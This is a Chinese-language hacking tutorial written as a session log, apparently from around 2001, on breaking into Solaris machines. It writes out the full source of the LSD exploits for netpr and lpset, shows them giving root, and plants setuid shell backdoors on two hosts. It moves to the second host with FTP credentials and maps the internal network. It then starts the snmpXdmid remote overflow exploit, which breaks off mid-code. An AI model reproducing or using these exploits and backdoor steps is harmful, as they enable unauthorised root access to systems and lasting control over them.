-rw-r--r-- 1 delex staff 124 May 2 10:46 local.cshrc
-rw-r--r-- 1 delex staff 581 May 2 10:46 local.login
-rw-r--r-- 1 delex staff 562 May 2 10:46 local.profile
$ cat /etc/passwd (***检查/etc/passwd***)
root:x:0:1uper-User:/:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:Nobody:/:
noaccess:x:60002:60002:No Access User:/:
nobody4:x:65534:65534unOS 4.x Nobody:/:
dennis:x:1005:20::/export/home/dennis:/bin/sh
oracle:x:1001:100::/export/home/oracle:/bin/sh
render7:x:9589:101::/export/home/render7:/bin/sh
delex:x:1035:20::/export/home/delex:/bin/sh
ac1:x:3000:300:Agent Client 1:/export/home/ac1:/bin/sh
ac2:x:3001:300:Agent Client 2:/export/home/ac2:/bin/sh
render9:x:9591:101::/export/home/render9:/bin/sh
$ ls -al / (***查看根目录是否有.rhosts等文件***)
total 381
drwxrwxrwx 35 root root 1024 Jun 29 16:52 .
drwxrwxrwx 35 root root 1024 Jun 29 16:52 ..
-rw------- 1 root other 152 May 4 14:39 .Xauthority
drwxrwxr-x 4 root other 512 Feb 20 10:33 .cpan
-rw------- 1 root root 1032 May 4 14:39 .cpr_config
-rw-r--r-- 1 root other 947 Apr 14 2000 .desksetdefaults
drwxr-xr-x 15 root other 512 Jun 20 13:09 .dt
-rwxr-xr-x 1 root other 5111 Apr 13 2000 .dtprofile
drwx------ 5 root other 512 Apr 14 2000 .fm
drwxr-xr-x 2 root other 512 Apr 13 2000 .hotjava
drwxr-xr-x 4 root other 512 Mar 14 17:42 .netscape
-rw------- 1 root other 1024 Dec 8 2000 .rnd
-rw-rw-r-- 1 nobody staff 402 Jun 12 11:14 .svg
drwx------ 2 root other 512 Apr 13 2000 .wastebasket
drwx------ 2 root other 512 Apr 13 2000 DeadLetters
drwx------ 2 root other 512 Apr 13 2000 Mail
drwxr-xr-x 2 root root 512 Apr 13 2000 TT_DB
drwxrwxr-x 2 moluk other 512 Dec 25 2000 XYIZNWSK
lrwxrwxrwx 1 root root 9 Apr 13 2000 bin -> ./usr/bin
drwxr-xr-x 2 root nobody 512 Jun 20 13:19 cdrom
-rw------- 1 root other 77 Jun 7 15:03 dead.letter
drwxrwxr-x 18 root sys 3584 May 4 14:39 dev
drwxrwxr-x 4 root sys 512 Apr 13 2000 devices
drwxr-xr-x 9 root root 512 Jun 12 14:47 disk2
drwxr-xr-x 32 root sys 3584 Jul 4 18:53 etc
drwxrwxr-x 3 root sys 512 Apr 13 2000 export
dr-xr-xr-x 1 root root 1 May 4 14:39 home
drwxr-xr-x 9 root sys 512 Dec 20 2000 kernel
lrwxrwxrwx 1 root root 9 Apr 13 2000 lib -> ./usr/lib
drwx------ 3 root root 8192 Apr 13 2000 lost+found
drwxrwxr-x 2 root sys 512 Apr 13 2000 mnt
dr-xr-xr-x 1 root root 1 May 4 14:39 net
-rw-rw-r-- 1 nobody staff 13 Feb 20 16:53 newsletteradminmail.ost
drwx------ 2 root other 512 May 6 2000 nsmail
drwxrwxr-x 7 root sys 512 Apr 28 2000 opt
drwxr-xr-x 12 root sys 512 Apr 13 2000 platform
dr-xr-xr-x 192 root root 126912 Jul 4 19:00 proc
drwxrwxr-x 2 root sys 512 Dec 20 2000 sbin
drwxrwxr-x 2 root 10 512 Feb 15 14:50 snap
drwxrwxrwt 7 sys sys 986 Jul 4 19:00 tmp
drwxrwxr-x 29 root sys 1024 May 3 17:32 usr
drwxr-xr-x 26 root sys 512 Jun 12 14:49 var
dr-xr-xr-x 6 root root 512 May 4 14:39 vol
drwxr-xr-x 2 wing 10 512 Nov 6 2000 web
dr-xr-xr-x 1 root root 1 Jul 4 18:55 xfn
$ find / -user root -perm -4000 -exec ls -al {} \;
-r-s--x--x 1 root bin 19564 Sep 1 1998 /usr/lib/lp/bin/netpr
-r-sr-xr-x 1 root bin 15260 Oct 6 1998 /usr/lib/fs/ufs/quota
-r-sr-sr-x 1 root tty 174352 Nov 6 1998 /usr/lib/fs/ufs/ufsdump
-r-sr-xr-x 1 root bin 856064 Nov 6 1998 /usr/lib/fs/ufs/ufsrestore
---s--x--x 1 root bin 4316 Oct 6 1998 /usr/lib/pt_chmod
-r-sr-xr-x 1 root bin 8576 Oct 6 1998 /usr/lib/utmp_update
-rwsr-xr-x 1 root adm 5304 Sep 1 1998 /usr/lib/acct/accton
-r-sr-xr-x 1 root bin 643464 Sep 1 1998 /usr/lib/sendmail
…
…. (***结果太多这里省略了，主要是简单找找有没有其他以前的入侵者。***)
…
$ps –ef
UID PID PPID C STIME TTY TIME CMD
root 0 0 0 May 04 ? 0:01 sched
root 1 0 0 May 04 ? 1:03 /etc/init -
root 2 0 0 May 04 ? 0:01 pageout
root 3 0 1 May 04 ? 476:33 fsflush
root 225 1 0 May 04 ? 0:01 /usr/lib/utmpd
root 115 1 0 May 04 ? 0:01 /usr/sbin/rpcbind
root 299 1 0 May 04 ? 0:00 /usr/lib/saf/sac -t 300
root 52 1 0 May 04 ? 0:00 /usr/lib/devfsadm/devfseventd
root 54 1 0 May 04 ? 0:00 /usr/lib/devfsadm/devfsadmd
root 117 1 0 May 04 ? 0:00 /usr/sbin/keyserv
root 239 1 0 May 04 ? 0:13 /usr/lib/inet/xntpd
root 142 1 0 May 04 ? 0:11 /usr/sbin/inetd -s
root 163 1 0 May 04 ? 2:50 /usr/sbin/in.named
root 164 1 0 May 04 ? 0:01 /usr/lib/autofs/automountd
daemon 153 1 0 May 04 ? 0:00 /usr/lib/nfs/statd
root 275 1 0 May 04 ? 0:01 /usr/lib/nfs/mountd
root 152 1 0 May 04 ? 0:00 /usr/lib/nfs/lockd
…
…
$ netstat -an|grep LISTEN (***查看有没有可疑端口***)
*.111 *.* 0 0 0 0 LISTEN
*.21 *.* 0 0 0 0 LISTEN
*.23 *.* 0 0 0 0 LISTEN
*.514 *.* 0 0 0 0 LISTEN
*.513 *.* 0 0 0 0 LISTEN
*.512 *.* 0 0 0 0 LISTEN
*.540 *.* 0 0 0 0 LISTEN
*.79 *.* 0 0 0 0 LISTEN
*.37 *.* 0 0 0 0 LISTEN
*.7 *.* 0 0 0 0 LISTEN
*.9 *.* 0 0 0 0 LISTEN
*.13 *.* 0 0 0 0 LISTEN
*.19 *.* 0 0 0 0 LISTEN
….
$…(***省略了对端口进行的一番测试,看有没有bind suid root shell port ***)
…
$ cd /tmp
$ ls -al
total 1314
drwxrwxrwt 7 sys sys 986 Jul 4 19:00 .
drwxrwxrwx 35 root root 1024 Jun 29 16:52 ..
drwxrwxr-x 2 root root 176 May 4 14:39 .X11-pipe
drwxrwxr-x 2 root root 176 May 4 14:39 .X11-unix
drwxrwxrwx 2 root root 179 May 4 14:39 .pcmcia
drwxrwxrwx 2 root other 181 Jun 20 13:18 .removable
drwxrwxrwt 2 root root 327 May 4 14:39 .rpc_door
-rwxrwxr-x 1 root other 614 May 8 11:17 EncTest.class
-rw------- 1 root other 265936 May 4 14:40 dtdbcache_:0
-rw------- 1 render9 render 0 May 8 11:42 mpcRaOhb
-rw------- 1 render9 render 0 May 8 13:02 mptWaGYf
-rw-rw-r-- 1 root sys 5248 May 4 14:39 ps_data
-rw-rw-r-- 1 root other 0 Jun 20 13:18 sdtvolcheck399
-rw-r--r-- 1 root other 4 May 4 14:39 speckeysd.lock
-rw-rw-r-- 1 root sys 326236 May 7 11:30 ups_data
$strings /bin/login
…
$… (***这里省略了对一些文件的简单测试****)
…
-------------------------------------------------test--------------------------------------------------------------

基本上没发现什么问题，来提升我们的权限吧。：）

-------------------------------------------------test--------------------------------------------------------------
$ set
EDITOR=vi
HOME=/export/home/delex
HZ=100
IFS=

LD_LIBRARY_PATH=/export/home/software/setadapters/solaris2/cgi-bin/lib:
LOGNAME=delex
MAIL=/usr/mail/delex
MAILCHECK=600
MANPATH=:/usr/share/man:/usr/local/man
OPTIND=1
PATH=/usr/bin::/usr/bin:/usr/local/bin:/usr/bin:/usr/ucb:/usr/ccs/bin:/usr/sbin:/usr/local:/usr/local/bin:/export/home/oracle/product/8.1.6/bin
PS1=$
PS2=>
SHELL=/bin/sh
TERM=vt100
TZ=Hongkong
_INIT_PREV_LEVEL=S
_INIT_RUN_LEVEL=3
_INIT_RUN_NPREV=0
_INIT_UTS_ISA=sparc
_INIT_UTS_MACHINE=sun4u
_INIT_UTS_NODENAME=develop
_INIT_UTS_PLATFORM=SUNW,Ultra-5_10
_INIT_UTS_RELEASE=5.7
_INIT_UTS_SYSNAME=SunOS
_INIT_UTS_VERSION=Generic_106541-14
$ uname -a
SunOS develop 5.7 Generic_106541-14 sun4u sparc SUNW,Ultra-5_10
$ cd /tmp
$ cat > test.c (***用cat命令写一个文件***)
/*## copyright LAST STAGE OF DELIRIUM dec 1999 poland *://lsd-pl.net/ #*/
/*## /usr/lib/lp/bin/netpr #*/

/* requires to specify the address of a host with 515 port opened */

#define NOPNUM 4000
#define ADRNUM 1200
#define ALLIGN 3

char shellcode[]=
"\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
"\x20\xbf\xff\xff" /* bn,a <shellcode> */
"\x7f\xff\xff\xff" /* call <shellcode+4> */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0xb,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh"
;

char jump[]=
"\x81\xc3\xe0\x08" /* jmp %o7+8 */
"\x90\x10\x00\x0e" /* mov %sp,%o0 */
;

static char nop[]="\x80\x1c\x40\x11";

main(int argc,char **argv){
char buffer[10000],adr[4],*b,*envp[2];
int i;

printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland //lsd-pl.net/\n");
printf("/usr/lib/lp/bin/netpr solaris 2.7 sparc\n\n");

if(argc==1){
printf("usage: %s lpserver\n",argv[0]);
exit(-1);
}

*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+7124+2000;

envp[0]=&buffer[0];
envp[1]=0;

b=&buffer[0];
sprintf(b,"xxx=");
b+=4;
for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b++=0xff;
for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
*b=0;

b=&buffer[5000];
for(i=0;i<ALLIGN;i++) *b++=0xff;
for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
*b=0;

execle("/usr/lib/lp/bin/netpr","lsd","-I","bzz-z","-U","x!x","-d",argv[1],
"-p",&buffer[5000],"/bin/sh",0,envp);
}
^D (***这里是按ctrl + d 结束写文件,你用vi来写也可以，ftp，rcp等上传也可以。***)
(***源程序在http://lsd-pl.net/files/get?SOLARIS/solsparc_netpr ***)
$ ls -al /tmp (***查看test.c是否建立***)
total 1330
drwxrwxrwt 7 sys sys 1049 Jul 4 19:07 .
drwxrwxrwx 35 root root 1024 Jun 29 16:52 ..
drwxrwxr-x 2 root root 176 May 4 14:39 .X11-pipe
drwxrwxr-x 2 root root 176 May 4 14:39 .X11-unix
drwxrwxrwx 2 root root 179 May 4 14:39 .pcmcia
drwxrwxrwx 2 root other 181 Jun 20 13:18 .removable
drwxrwxrwt 2 root root 327 May 4 14:39 .rpc_door
-rwxrwxr-x 1 root other 614 May 8 11:17 EncTest.class
-rw------- 1 root other 265936 May 4 14:40 dtdbcache_:0
-rw------- 1 render9 render 0 May 8 11:42 mpcRaOhb
-rw------- 1 render9 render 0 May 8 13:02 mptWaGYf
-rw-rw-r-- 1 root sys 5248 May 4 14:39 ps_data
-rw-rw-r-- 1 root other 0 Jun 20 13:18 sdtvolcheck399
-rw-r--r-- 1 root other 4 May 4 14:39 speckeysd.lock
-rw-rw-r-- 1 delex staff 2019 Jul 4 19:10 test.c
-rw-rw-r-- 1 root sys 326236 May 7 11:30 ups_data
$ gcc -o test test.c (***一般编译用这个方式就可以了,更多资料请查看帮助***)
$ ./test
copyright LAST STAGE OF DELIRIUM dec 1999 poland //lsd-pl.net/
/usr/lib/lp/bin/netpr solaris 2.7 sparc

usage: ./test lpserver
$ ./test localhost
copyright LAST STAGE OF DELIRIUM dec 1999 poland //lsd-pl.net/
/usr/lib/lp/bin/netpr solaris 2.7 sparc

# id
uid=1035(delex) gid=20(staff) euid=0(root) (***成功获得root***)
# mkdir /usr/lib/...
# cp /bin/ksh /usr/lib/…/.x (***做个简单的后门***)
# chmod +s /usr/lib/…/.x
# cat /etc/hosts (***看看这个网络多大***)
##################################################
## Gips Limited Server Hosts Names
## 2001-03-01 (develop)
##################################################
127.0.0.1 localhost loghost

##################################################
## Gipex (Internal - CITIC Back-End)
192.168.2.1 office-i2 gate-citic-backend
192.168.2.5 render1 render1-i1

##################################################
## Gipex (Internal - CITIC Office)
192.168.1.1 office-i1 gate-citic-office

##################################################
## Gipex (Internal - iLink)
192.168.100.1 backup-i1 gate-ilink-vpn
## .2 - .9 <reserved>
192.168.100.10 www1-i1
192.168.100.11 db1 db1-i1 www0-i1 www0 www0.xxwex.com
192.168.100.12 snap1
## .13 <unused>
192.168.100.14 snap2
192.168.100.15 snap3
192.168.100.16 www2-i1 mail-i1
192.168.100.17 www2-i2 mail-i2
192.168.100.18 render2 render2-i1
192.168.100.19 render2-i2
## .20 - .252 <unused>
192.168.100.253 switch1
## .254 <unused>
# /usr/sbin/ping 192.168.100.253
ICMP Host Unreachable from gateway wc-sf1.kage.net (210.76.87.2)
for icmp from develop (192.168. 0.2) to www1-i1 (192.168.100.253)
ICMP Host Unreachable from gateway wc-sf1.kage.net (210.76.87.2)
for icmp from develop (192.168.0.2) to www1-i1 (192.168.100.253)
ICMP Host Unreachable from gateway wc-sf1.kage.net (210.76.87.2)
for icmp from develop (192.168.0.2) to www1-i1 (192.168.100.253)
^C （***局域网是连通的 ***）
#
-------------------------------------------------test--------------------------------------------------------------

以后有空再慢慢搞它的内部网吧
现在先回去把那台SunOS 5.6干掉。

-------------------------------------------------test--------------------------------------------------------------
# cat >lpset.c (***源程序在http://lsd-pl.net/files/get?SOLARIS/solsparc_lpset ***)
/*## copyright LAST STAGE OF DELIRIUM apr 2000 poland *://lsd-pl.net/ #*/
/*## /usr/bin/lpset #*/

#define NOPNUM 864
#define ADRNUM 132
#define ALLIGN 3

char shellcode[]=
"\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
"\x20\xbf\xff\xff" /* bn,a <shellcode> */
"\x7f\xff\xff\xff" /* call <shellcode+4> */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0xb,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh"
;

char jump[]=
"\x81\xc3\xe0\x08" /* jmp %o7+8 */
"\x90\x10\x00\x0e" /* mov %sp,%o0 */
;

static char nop[]="\x80\x1c\x40\x11";

main(int argc,char **argv){
char buffer[10000],adr[4],*b;
int i;

printf("copyright LAST STAGE OF DELIRIUM apr 2000 poland //lsd-pl.net/\n");
printf("/usr/bin/lpset for solaris 2.6 2.7 sparc\n\n");

*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10088+400;

b=buffer;
sprintf(b,"xxx=");
b+=4;
for(i=0;i<2;i++) *b++=0xff;
for(i=0;i<NOPNUM-4;i++) *b++=nop[i%4];
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
for(i=0;i<ALLIGN;i++) *b++=0xff;
for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
*b=0;

execle("/usr/bin/lpset","lsd","-n","xfn","-a",buffer,"printer",0,0);
}
^D

# gcc -o lpset lpset.c
/bin/ksh: gcc: not found
# exit
$ gcc -o lpset lpset.c
$ ls -al
total 1410
drwxrwxrwt 7 sys sys 1236 Jul 4 20:33 .
drwxrwxrwx 35 root root 1024 Jul 4 19:15 ..
drwxrwxr-x 2 root root 176 May 4 14:39 .X11-pipe
drwxrwxr-x 2 root root 176 May 4 14:39 .X11-unix
drwxrwxrwx 2 root root 179 May 4 14:39 .pcmcia
drwxrwxrwx 2 root other 181 Jun 20 13:18 .removable
drwxrwxrwt 2 root root 327 May 4 14:39 .rpc_door
-rwxrwxr-x 1 root other 614 May 8 11:17 EncTest.class
-rw------- 1 root other 265936 May 4 14:40 dtdbcache_:0
-rwxrwxr-x 1 delex staff 8572 Jul 4 20:33 lpset
-rw-rw-r-- 1 delex staff 1685 Jul 4 20:32 lpset.c
-rw------- 1 render9 render 0 May 8 11:42 mpcRaOhb
-rw------- 1 render9 render 0 May 8 13:02 mptWaGYf
-rw-rw-r-- 1 root sys 5248 May 4 14:39 ps_data
-rw-rw-r-- 1 root other 0 Jun 20 13:18 sdtvolcheck399
-rw-r--r-- 1 root other 4 May 4 14:39 speckeysd.lock
-rwxrwxr-x 1 delex staff 8916 Jul 4 19:13 test
-rw-rw-r-- 1 delex staff 2019 Jul 4 19:10 test.c
-rw-rw-r-- 1 root sys 326236 May 7 11:30 ups_data
$ ftp 192.168.0.3
Connected to 192.168.0.3.
220 dev01 FTP server (SunOS 5.6) ready.
Name (192.168.0.2elex): tong
331 Password required for tong.
Password:
230 User tong logged in.
ftp> cd /tmp
250 CWD command successful.
ftp> bin （***设置上传模式为二进制***）
200 Type set to I.
ftp> put lpset
200 PORT command successful.
150 Binary data connection for lpset (192.168.0.2,49105).
226 Transfer complete.
local: lpset remote: lpset
8572 bytes sent in 0.00054 seconds (15617.71 Kbytes/s)
ftp> by
221 Goodbye.
$ telnet 192.168.0.3
Trying 192.168.0.3...
Connected to 192.168.0.3.
Escape character is ‘^]‘.

SunOS 5.6

login: tong
Password:
Last login: Wed Jul 4 20:31:37 from 192.168.0.2
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
You have mail.
$ /tmp/lpset
/tmp/lpset: cannot execute
$ chmod 755 /tmp/lpset
$ /tmp/lpset
copyright LAST STAGE OF DELIRIUM apr 2000 poland //lsd-pl.net/
/usr/bin/lpset for solaris 2.6 2.7 sparc

# id
uid=107(tong) gid=10(staff) euid=0(root) （***HOHO~死了没？***）
#mkdir /usr/lib/…
#cp /bin/ksh /usr/lib/…/.x
#chmod +s /usr/lib/…/.x
#exit
$ exit
Connection closed by foreign host. (***不管啦，脚印也不擦啦***)
$exit

遗失对主机的连接。
C:\>
-------------------------------------------------test--------------------------------------------------------------

哦，怎么不干了？断开连接了？连脚印都不擦？
嘿嘿，兄弟，现在是21:00啦，还要赶地铁呢。本来20:30就要走啦，明天继续吧，管不了那么多啦。大家先回去看我以前的教程，温习一下该怎么擦PP。为了节省版面，这篇教程不会出现擦PP的啦，自己要懂得擦干净哦。：）
对了，明天要学习远程溢出的利用，然后找几台redhat回来。
回去啦，肚子也饿啦，明天见~~
zzzZZZZZZ~~~~~~~~
第二天：

嘿嘿，大家早上好~
今天上班好象有任务要分配，我先去问问。
稍等…

真惨，分配了任务。
不过，是从下个星期开始做。：）
所以今天就写教程吧。
不知道今天能不能写完这份教程呢。
我们继续。：）
昨天讲述了本地提升权限的方法，今天我们来说说远程溢出的利用。
几乎各种操作系统都有严重的远程溢出漏洞。
常见的有：
Solaris 2.3, 2.4, 2.5, 2.5.1, 2.6 的rpc.ttdbserverd
Solaris 2.5, 2.5.1, 2.6, 7 的 rpc.cmsd
solaris 2.6, 7 的 sadmind
Solaris 7, 8 的 snmpXdmid
Redhat 6.0, 5.1, 4.0 的Amd
Redhat 6.2, 6.1, 6.0 的 rpc.statd
Redhat 7.0 的 LPRng
…
其它的系统就不在列举了。
除了系统本身存在问题外，还有一些第三方程序存在问题。
比如常见的FTP服务器Wu-ftp，版本2.6.0及以下都存在严重的远程溢出问题
比如DNS 服务器 bind，版本8.2.2及以下版本都存在严重的远程溢出问题。
…
可以利用的东西太多了，而要掌握这些则需要时间，需要靠经验的积累。
等经验丰富后，入侵一个简单的系统，只要得到对方的系统版本，然后扫描一下端口就足够了。因为这时候你已经对各种系统和守护进程的弱点有了很详细的了解。

我们这次来尝试进入一台 Solaris 8的机器。

-------------------------------------------------test--------------------------------------------------------------
C:\>telnet 192.168.0.2

SunOS 5.7

login: login: delex
Password:
*********************************************************

# The JRun is now replaced by JServ
# To restart the servlet server, please use

rs.sh

# However, as the JServ will reload those classes
# inside the "/usr/proj/gipex/class", you just
# need to remove the old class with the new one.

*********************************************************
$ w
9:21am up 61 day(s), 18:42, 2 users, load average: 0.03, 0.04, 0.05
User tty login@ idle JCPU PCPU what
root console 4May0162days 2 2 /usr/dt/bin/sdt_shell -c ? u
root pts/4 Fri 4pm 6days tail -f syslog
delex pts/6 9:21am w
$ls –al /usr/lib/…
total 202
drwxrwxr-x 2 root staff 512 Jul 5 10:22 .
drwxrwxr-x 46 root bin 10240 Jul 4 19:21 ..
-r-sr-sr-x 1 root staff 91668 Jul 5 10:22 .x
$ id
uid=1035(delex) gid=20(staff)
$ /usr/lib/.../.x (***运行昨天留下的本地后门直接获得root权限***)
# id
uid=1035(delex) gid=20(staff) euid=0(root)
# cd /tmp
# ls –al (***昨天的程序都忘了删呢，走得太急啦，不知道还在不在呢***)
total 1410
drwxrwxrwt 7 sys sys 1236 Jul 5 10:20 .
drwxrwxrwx 35 root root 1024 Jul 4 19:15 ..
drwxrwxr-x 2 root root 176 May 4 14:39 .X11-pipe
drwxrwxr-x 2 root root 176 May 4 14:39 .X11-unix
drwxrwxrwx 2 root root 179 May 4 14:39 .pcmcia
drwxrwxrwx 2 root other 181 Jun 20 13:18 .removable
drwxrwxrwt 2 root root 327 May 4 14:39 .rpc_door
-rwxrwxr-x 1 root other 614 May 8 11:17 EncTest.class
-rw------- 1 root other 265936 May 4 14:40 dtdbcache_:0
-rwxrwxr-x 1 delex staff 8572 Jul 4 20:33 lpset (***HOHO~**)
-rw-rw-r-- 1 delex staff 1685 Jul 4 20:32 lpset.c
-rw------- 1 render9 render 0 May 8 11:42 mpcRaOhb
-rw------- 1 render9 render 0 May 8 13:02 mptWaGYf
-rw-rw-r-- 1 root sys 5248 May 4 14:39 ps_data
-rw-rw-r-- 1 root other 0 Jun 20 13:18 sdtvolcheck399
-rw-r--r-- 1 root other 4 May 4 14:39 speckeysd.lock
-rwxrwxr-x 1 delex staff 8916 Jul 4 19:13 test
-rw-rw-r-- 1 delex staff 2019 Jul 4 19:10 test.c
-rw-rw-r-- 1 root sys 326236 May 7 11:30 ups_data
# cat > snmp.c (***源程序在http://lsd-pl.net/files/get?SOLARIS/solsparc_snmpxdmid ***)
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

#define SNMPXDMID_PROG 100249
#define SNMPXDMID_VERS 0x1
#define SNMPXDMID_ADDCOMPONENT 0x101

char findsckcode[]=
"\x20\xbf\xff\xff" /* bn,a <findsckcode-4> */
"\x20\xbf\xff\xff" /* bn,a <findsckcode> */
"\x7f\xff\xff\xff" /* call <findsckcode+4> */
"\x33\x02\x12\x34"
"\xa0\x10\x20\xff" /* mov 0xff,%l0 */
"\xa2\x10\x20\x54" /* mov 0x54,%l1 */
"\xa4\x03\xff\xd0" /* add %o7,-48,%l2 */
"\xaa\x03\xe0\x28" /* add %o7,40,%l5 */
"\x81\xc5\x60\x08" /* jmp %l5+8 */
"\xc0\x2b\xe0\x04" /* stb %g0,[%o7+4] */
"\xe6\x03\xff\xd0" /* ld [%o7-48],%l3 */
"\xe8\x03\xe0\x04" /* ld [%o7+4],%l4 */
"\xa8\xa4\xc0\x14" /* subcc %l3,%l4,%l4 */
"\x02\xbf\xff\xfb" /* bz <findsckcode+32> */
"\xaa\x03\xe0\x5c" /* add %o7,92,%l5 */
"\xe2\x23\xff\xc4" /* st %l1,[%o7-60] */
"\xe2\x23\xff\xc8" /* st %l1,[%o7-56] */
"\xe4\x23\xff\xcc" /* st %l2,[%o7-52] */
"\x90\x04\x20\x01" /* add %l0,1,%o0 */
"\xa7\x2c\x60\x08" /* sll %l1,8,%l3 */
"\x92\x14\xe0\x91" /* or %l3,0x91,%o1 */
"\x94\x03\xff\xc4" /* add %o7,-60,%o2 */
"\x82\x10\x20\x36" /* mov 0x36,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"\x1a\xbf\xff\xf1" /* bcc <findsckcode+36> */
"\xa0\xa4\x20\x01" /* deccc %l0 */
"\x12\xbf\xff\xf5" /* bne <findsckcode+60> */
"\xa6\x10\x20\x03" /* mov 0x03,%l3 */
"\x90\x04\x20\x02" /* add %l0,2,%o0 */
"\x92\x10\x20\x09" /* mov 0x09,%o1 */
"\x94\x04\xff\xff" /* add %l3,-1,%o2 */
"\x82\x10\x20\x3e" /* mov 0x3e,%g1 */
"\xa6\x84\xff\xff" /* addcc %l3,-1,%l3 */
"\x12\xbf\xff\xfb" /* bne <findsckcode+112> */
"\x91\xd0\x20\x08" /* ta 8 */
;

char shellcode[]=
"\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
"\x20\xbf\xff\xff" /* bn,a <shellcode> */
"\x7f\xff\xff\xff" /* call <shellcode+4> */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* s "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0x0b,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh"
;

static char nop[]="\x80\x1c\x40\x11";

typedef struct{
struct{unsigned int len;char *val;}name;
struct{unsigned int len;char *val;}pragma;
}req_t;

bool_t xdr_req(XDR *xdrs,req_t *objp){
char *v=NULL;unsigned long l=0;int b=1;
if(!xdr_u_long(xdrs,&l)) return(FALSE);
if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_u_long(xdrs,&l)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_array(xdrs,&objp->name.val,&objp->name.len,~0,sizeof(char),
(xdrproc_t)xdr_char)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_array(xdrs,&objp->pragma.val,&objp->pragma.len,~0,sizeof(char),
(xdrproc_t)xdr_char)) return(FALSE);
if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE);
if(!xdr_u_long(xdrs,&l)) return(FALSE);
return(TRUE);
}

main(int argc,char **argv){
char buffer[140000],address[4],pch[4],*b;
int i,c,n,vers=-1,port=0,sck;
CLIENT *cl;enum clnt_stat stat;
struct hostent *hp;
struct sockaddr_in adr;
struct timeval tm={10,0};
req_t req;

printf("copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/\n");
printf("snmpXdmid for solaris 2.7 2.8 sparc\n\n");

if(argc<2){
printf("usage: %s address [-p port] -v 7|8\n",argv[0]);
exit(-1);
}

while((c=getopt(argc-1,&argv[1],"p:v:"))!=-1){
switch(c){
case ‘p‘: port=atoi(optarg);break;
case ‘v‘: vers=atoi(optarg);
}
}
switch(vers){
case 7: *(unsigned int*)address=0x000b1868;break;
case 8: *(unsigned int*)address=0x000cf2c0;break;
default: exit(-1);
}

*(unsigned long*)pch=htonl(*(unsigned int*)address+32000);
*(unsigned long*)address=htonl(*(unsigned int*)address+64000+32000);

printf("adr=0x%08x timeout=%d ",ntohl(*(unsigned
    long*)address),tm.tv_sec);
fflush(stdout);

adr.sin_family=AF_INET;
adr.sin_port=htons(port);
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if((hp=gethostbyname(argv[1]))==NULL){
errno=EADDRNOTAVAIL;perror("error");exit(-1);
}
memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}

sck=RPC_ANYSOCK;
if(!(cl=clnttcp_create(&adr,SNMPXDMID_PROG,SNMPXDMID_VERS,&sck,0,0))){
clnt_pcreateerror("error");exit(-1);
}
cl->cl_auth=authunix_create("localhost",0,0,0,NULL);

i=sizeof(struct sockaddr_in);
if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){
struct{unsigned int maxlen;unsigned int len;char *buf;}nb;
ioctl(sck,((‘S‘<<8)|2),"sockmod");
nb.maxlen=0xffff;
nb.len=sizeof(struct sockaddr_in);;
nb.buf=(char*)&adr;
ioctl(sck,((‘T‘<<8)|144),&nb);
}
n=ntohs(adr.sin_port);
printf("port=%d connected! ",n);fflush(stdout);

findsckcode[12+2]=(unsigned char)((n&0xff00)>>8);
findsckcode[12+3]=(unsigned char)(n&0xff);

b=&buffer[0];
for(i=0;i<1248;i++) *b++=pch[i%4];
for(i=0;i<352;i++) *b++=address[i%4];
*b=0;

b=&buffer[10000];
for(i=0;i<64000;i++) *b++=0;
for(i=0;i<64000-188;i++) *b++=nop[i%4];
for(i=0;i<strlen(findsckcode);i++) *b++=findsckcode[i];
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
*b=0;

